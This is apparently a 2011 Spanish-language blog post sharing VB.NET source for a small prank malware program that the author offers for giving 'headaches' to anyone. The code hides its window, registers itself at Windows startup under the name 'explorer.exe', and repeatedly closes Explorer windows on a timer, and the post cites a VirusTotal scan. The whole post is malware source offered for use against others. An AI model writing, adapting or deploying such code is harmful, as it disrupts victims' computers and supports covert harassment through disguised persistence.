10 ago. 2011

Explorer

Pequeño codigo creado por mi que puede usarse para dar dolores de cabeza a quien quieras. Funcion basica termina el proceso explorer una y otra vez, se autoinicia con windows.



Analisis Virus Total:


Ver Resultado de analiziz




Codigo fuente:


Public Class Form1

        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

            Me.Visible = False

            ie.Enabled = True

            Dim str3 As String = "C:\WINDOWS\system32\"

            Dim str4 As String = (My.Application.Info.AssemblyName & ".exe")

            My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "explorer.exe", (str3 & str4))

            Interaction.Shell((str3 & str4), AppWinStyle.Hide, False, -1)

            Me.Timer1.Enabled = True

        End Sub

        Private Sub ie_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

            For Each proc In Process.GetProcessesByName("explorer")

                Process.GetProcessesByName("explorer")

                proc.CloseMainWindow()

            Next

            Timer2.Enabled = True

            Me.Timer1.Stop()

        End Sub

        Private Sub resetea_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

            Me.Visible = False

            Timer1.Start()

            Me.Timer2.Stop()

        End Sub

    End Class